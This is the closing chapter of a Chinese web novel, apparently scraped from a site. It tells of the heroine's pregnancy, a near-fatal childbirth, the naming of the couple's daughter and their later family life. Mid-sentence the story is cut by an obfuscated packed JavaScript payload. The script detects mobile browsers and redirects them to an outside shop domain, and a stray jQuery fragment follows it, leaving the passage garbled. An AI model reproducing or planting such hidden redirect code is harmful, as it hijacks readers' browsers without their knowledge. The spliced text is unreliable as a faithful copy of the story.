宋朝月有孕后,本来就将她看得如同眼珠子一般的孟祈更是小心谨慎得不行,生怕自己的妻儿有什么差池。
因为孟祈还要辅佐戚玉珩处理宫中之事,是以他们夫妻二人就这般在笙歌城安定了下来。
戚玉珩封孟祈为摄政王,赐给了他一座偌大的府邸。
刚住进去,孟祈便着人在这府里里里外外种上山茶树,等到来年,大朵大朵的各色山茶竞相开放,不知该有多美。
这日微风正好,阳光穿过泛黄的斜斜地照到宋朝月身上,她蜷在摇椅上,身上盖着阿罗见她睡着后拿来的绒毯。
孟祈下朝回来,便见自己的妻子侧睡在竹编摇椅上,秋日的暖阳落在她身上,仿佛为她镀上了一层金光。
再看到她护住肚子的手,孟祈的目光更加柔和。他感到现在自己便是全天下最幸福的人,幸福得前世的种种凄苦好像不过是一场噩梦。
他脚步轻轻地走到了宋朝月身边,挥退一直守在旁边的阿罗,换作自己守在宋朝月的旁侧。
他着人搬来一个椅子,然后靠在椅子上翻看着书本,不时又从书中抬起头来将视线落在宋朝月身上,给她掖一下略有些滑落的毯子。
如今的他,早已没有了以前的戾气,他整个人变得沉稳、淡然,不再像从前那般令人望而生畏。
这都是眼前的这个女子带给他的,她让他感知到了幸福与温暖,让他知道,这个世界,有人如此爱着他。
宋朝月悠悠醒来,一扭头,便见孟祈正坐在自己旁边,那修长的手指正翻着书页。
这是我的夫君啊,真好看!如此想着之时,孟祈正好转过头来,与她的视线撞上。
只见孟祈放下手中的书,将宋朝月连人带着毯子抱进了自己怀中,他低头笑着,问她:“笑什么呢?”
“我在高兴,我夫君长得真好看!”
孟祈被她说的话逗得一笑,轻轻吻了一下她的眉眼处,然后将温暖的大手放到了宋朝月的肚子上。
“已经三个月了,桑桑,我听太医说月份越大有孕之人便会越难受,你可有什么不舒服的?”
这是宋朝月怀孕以来听过孟祈说过最多的话,他成天都担心宋朝月会不舒服。
幸好,自知道自己有孕以来,宋朝月并无任何的不适,往常见那些有孕之人总吃不下饭,常常犯恶心,这些宋朝月都没有。
她总跟孟祈说,这个孩子定是来报恩的,一点儿都不让自己难受。
两人互相依偎着,享受着才将到来的初秋。
已经泛黄的树叶随着秋风落下,落在孟祈的肩头,宋朝月噘嘴正欲替他吹掉,熟料抱着自己的男子闭着眼便将自己的唇迎了上来。
宋朝月无奈地将他推离自己,“孟祈,你脑子里一天都想些什么东西呢?”
谁料这人根本没有任何的不好意思,捧着宋朝月的脑袋接续下了方才一吻。
宋朝月腹中有子,他自然也不敢像从前那般太过放肆,很快便放开了她。
过后,他手里握着宋朝月手指,像盘玉珠一般摩挲着,他同宋朝月说:“桑桑,咱们的孩子应当是开春那段时间出生,那等过完年,我就哪儿也不去了,日日陪在你左右”
听这话,宋朝月无奈地笑了一笑。这人怎么比自己还紧张,这么快就操心起六七个月后的事情了,况且,就算她要生产了,孟祈只要在笙歌,便总来得及赶回来,何苦如此呢。
她伸出食指轻轻点了下孟祈的眉心,嗔怪道:“你别一天紧张兮兮的,我与孩儿都好着你,就你,一天担心这担心那。”
孟祈乖乖闭嘴听训,他也知道,自己不该想那么多。可是知道前世桑桑是如何死的,更在听到别人说女子生产时危险重重时,那个心便提早吊到了嗓子眼儿。
转眼迈入了深冬,宋朝月的肚子已经鼓得像个大西瓜一样了。
肚子负担太重,六七个月的身子让宋朝月躺在床上很难安然入睡,孟祈便特意让人给她绣了好几个小枕,垫在肚子底下。
她的手脚也开始浮肿,孟祈就雷打不动每日给她按摩,天天给她用热水泡肿了的手脚。
冬天出门不太方便,宋朝月无聊得紧,孟祈便从泗水城将宋家父母接了过来,住在府上。
华清在外奔忙做生意,每每到笙歌来,总也会特意来看宋朝月。
不过这一次来却是不同,她带来了一个男子。
知道华清要来,宋朝月便早早等在王府门前,孟祈略有不满地陪在她身边,他不明白,在屋里等又不是不行,为何非得在门口等那华清。
如今华清接过了她母亲手中大半的产业,为人也沉稳了不少。
起初宋朝月见她马车之中走下来一个样貌还算清俊的男子,有些疑惑,后又见这男子伸手将华清扶下来之际,立刻便了然。
她下意识想走下台阶去抱一抱华清,却被身边这尊门神拉住了手腕:“宋桑桑,你肚子已经七个月了!”
他生气之时,总会如此唤她,这宋桑桑,倒也成了孟祈的专属。
华清打眼一看,便知道好姐妹身边的那个醋坛子又不满意呢。
不过她才不管,三两步跑上去,拉过宋朝月的手就跟她介绍与自己同行的这个男子:“阿月,这是我的未婚夫蒋胥!”
宋朝月微微颔首朝他问好。
这蒋城也颇有礼数地向位居至高之位的摄政王夫妇二人问好。
宋朝月拉着华清到闺房中闲聊才知,这蒋胥原来是这江湖一门派的少主,在不知华清身份的情况下对其一见钟情穷追不舍,两人上月才定了亲,待到明年年后应当就成亲了。
宋朝月当然为华清感到高兴,方才她在席间见着蒋胥,倒是个很不错的人。
只可惜华清与蒋胥还得去一趟景州,只在府上住了一日便走了,他们走时,宋朝月莫名有些失落。
送走华清那日,宋朝月又接到了玉娘自山泽城而来的信,这个月的账簿又被她亲手誊抄了一份送过来,还有一封向宋朝月询问近况的私信。
宋朝月根本没看便将这账簿放进了之前玉娘送来的那堆账册里,她也说过了很多次,这账簿不需给她看,可玉娘还是坚持如此做。
孟祈坐在一旁,见宋朝月又收到了账本,站起来走到她身后,弯腰搂住了她:“桑桑,等你生下孩子后,从傅卓手里收回来的铺子便也交给你吧。”
这么快就收回来了?宋朝月感到有些诧异,前几天才听到孟祈说要去收拾一下扶梦县的烂摊子,竟这么快就解决了。
其实这并非是什么意外之事,只要孟祈下了那个狠心,以他如今的身份要报复傅家如同碾死蚂蚁一般简单。
他将他们侵占的所有东西尽数收回,将那一大家子赶出了扶梦,往后他们是生是死,他也不再去管。
-
过完年,宋朝月收到了华清寄来的婚仪请柬,可是宋朝月身怀有孕,不方便前去丹州,便托人前去送了一份厚厚的礼金。
随着宋朝月的临产之期越来越近,整个王府也愈发紧张起来。
各种生产所需之物,还有需要请的人,都早已安置进了府中,只待这府内的女主人一发作,便即刻能用得上。
终于,在三月初十这日,宋朝月有了要生产的迹象。
这段时间一直休沐在府中片刻不离宋朝月的孟祈最先发现了宋朝月的不对劲,他将宋朝月抱起快步放在了榻上,看着宋朝月在床上疼得直冒汗,他的心也跟着一紧一紧地疼。
产婆赶来过来,孟祈被赶出了产房之中。
听闻宋朝月要生产的宋父宋母也赶了过来,住在笙歌别处的宋明泽带着他的妻子元若也飞快骑马赶了过来。
宋朝月从半夜便开始发作,一直到第二天下午都没能将孩子生出来,里面的产婆端出来了一盆又一盆带血的水,一家人在外面急得团团转。
孟祈靠在门边,手紧紧地抓着门框,流出的冷汗已经打湿了他的里衫。
起初还能听见里面宋朝月痛苦的嘶吼,到后面,声音渐渐弱了下去。
请来的有备无患的医士终还是用上了,宋朝月有难产的迹象,若是孩子再生不出来,恐怕会一尸两命。
听医士说完这话,孟祈便再也等不及地冲进了产房之中,入目皆是血腥,他红着眼,跪在宋朝月榻前,握住她的手,说话时嘴唇不停地颤抖。
“桑桑,坚持,要坚持,要活下来。”
宋朝月已经折腾得没了力气,她连眼睛都累得睁不开了,说话时也是气若游丝:“槐序,若是,若是我……”
她的那个死字还没有说出来,孟祈便红着眼吼道:“你要是死了,我也绝不独活!”
上一世他不知道桑桑为了自己受的那些苦,这一世,他决不能再允许自己与心爱之人奋力,即便要赴黄泉,也要一道去!
宋朝月疲惫地闭上眼,她被灌了一口参汤吊着气,医士在给她施针,产婆则在用力给她压肚子,让她能够平安生产。
“王妃,用力,快啊!”
宋朝月听到这声音,再见到孟祈眼中的猩红,她身体里突然又涌出了一股力量。
她咬着牙,脖子都震出了青筋。
终于,他们夫妻二人期待已久的孩子呱呱坠地。
听到孩子哭出声的那一刻,夫妻二人的眼泪双双落了下来……
孟祈根本没有去看孩子一眼,反而是握住已经昏睡过去的宋朝月的手呜咽着哭了起来。
他方才已经想好了,若是宋朝月真的没了,他便立刻随她而去。
幸好,幸好,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174595|130227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
平安!
才将生下来的小郡主没有得到阿爹阿娘的抱,转而被产婆抱到了外间,交到了宋母手中。
宋母激动得热泪盈眶,对着自己的丈夫说:“她长得跟桑桑一模一样。”
宋明泽也探头过来看,看这个外甥女喜欢得不得了。
他回头,见到自己的妻子手足无措站在原地,好似个局外人。他一把拉过元若的手,又将母亲怀里的孩子放到元若手中,逗弄着这个外甥女:“宝贝,我是你阿舅,这是你舅母!”
元若看向宋明泽,她终于觉得,自己真正成为了这个家的一份子。
小郡主生下来三日后,王府迎来了一个客人,一位白胡子花花的老人。
门口的府卫问他来有何事,他只说来讨王妃当年欠他的钱。
这老者说话十分古怪,差点儿就被府卫打发了出去,幸而孟祈见到了他,将他请进了府中。
宋朝月还在月子里,孟祈带这闻人氏去见了她与尚在襁褓中的孩子。
见到孩子的第一眼,闻人氏便道:“跟她母亲长得真像。”
宋朝月靠在榻边,看着这白胡子花花的老人家,问他说:“闻阿翁,您是早就算到了吧。”
闻人氏笑而不语,问夫妻二人可有给孩子取名。
孟祈摇摇头,这名字他想了许久,却还是想不出个好的来。
闻人氏将孩子放回了摇篮里,同夫妻二人说:“可否允我给小郡主取个名字?”
宋朝月与孟祈对看了一眼,点点头。
闻人氏将早已准备好的纸条从怀中掏了出来,放进摇篮里,这个不过出生三天的小姑娘身边。
既然闻人氏前来讨三年前的冻梨子的钱,宋朝月自然是要给的,她让人拿来了一袋银子,然闻人氏却摇摇头,只讨要了几个铜板,便转身离开。
孟祈将他送到门口,见他将要离开,忍不住叫住了他:“闻阿翁,还请留步!”
他跑到闻阿翁身边,问他:“我的复生,可是您所为?”
怎奈何听到此问的闻人氏朗声笑了两下,大步离开了王府,他朝孟祈挥挥手,道:“天机不可泄露,年轻人,活好今世吧——”
回到屋内,孟祈便知道了闻阿翁给他们女儿取了名字,叫孟昭然。
至于小名,便由夫妻二人来取了,唤作岁岁。
岁岁不仅跟她娘亲长得像,性子更是像,古灵精怪的,嘴巴又甜,谁看了都喜欢得不得了。
纵然犯了错,只要她嘴巴一瘪,小珍珠一掉,孟祈便不再忍心责罚于她,是以这宋朝月便成了那严母。
每每训完孟昭然小朋友,孟昭然小朋友的父亲便会跟着被训一通。
“孟祈,每次都是我骂她,你能不能管管你女儿!”见宋朝月那副气鼓鼓的样子,孟祈便不知如何是好。
他倒是也想啊,可是见到那张与妻子如此相似的脸,他便再也凶不起来了。
每到这时,他都将宋朝月抱进怀里,温言安抚道:“孩子还小,莫要生气嘛。岳父岳母都说岁岁跟你的性子很像,她往后也会变成像你一样,聪明、善良而又坚韧的女子的。”
这几句话将宋朝月哄得心里美滋滋的,她揽住孟祈的脖颈,嘴唇微翘,撒娇道:“夫君~咱们再要个孩子吧~”
孟昭然已经三岁了,见到女儿与自己如此之像,宋朝月真的很想再生一个像孟祈一样的小男孩儿。
可孟祈被当年被宋朝月难产之景吓怕了,说什么都不肯再要一个孩子,如此,便一直没有再生。
这几年,孟祈已经学会了如何在此刻扰乱宋朝月的思绪。
他将人打横抱起来,扔到了榻上,眉毛轻挑,故意逗她:“夫人这是又想了?”
他俯身下去,又是一整夜的纠缠。
待到孟祈三十岁时,戚玉珩已经十六岁了,孟祈将朝中之事彻彻底底交到了他手上,一切尽由这位年轻帝王处理。
大戚玉珩一岁的傅重华成了广闻司主司,平日里跟个罗刹一般,颇有从前孟祈的之态,只有在见到戚玉姜之时,才会收敛下那冷脸。
没了朝事缠身,孟祈开始跟着宋朝月游览着大好山河。
又到了孟祈母亲的忌日,宋朝月带着孩子随他前往扶梦祭拜。
坐在马车里,宋朝月又问起了孟祈前世。
这一次,孟祈不再避而不谈,他同宋朝月说了一个梦,不过最后,他说:“桑桑,一切都不过是个梦而已。”
宋朝月靠在孟祈的肩头,声音有些哽咽:“我知道,这是一场噩梦,不过好在梦醒了,我们始终还在彼此身边,过着美满的生活。”
他们饮春茶、看夏花、品秋果、赏冬雪。
年年岁岁,岁岁年年,他们都陪伴在彼此身边,从未分开……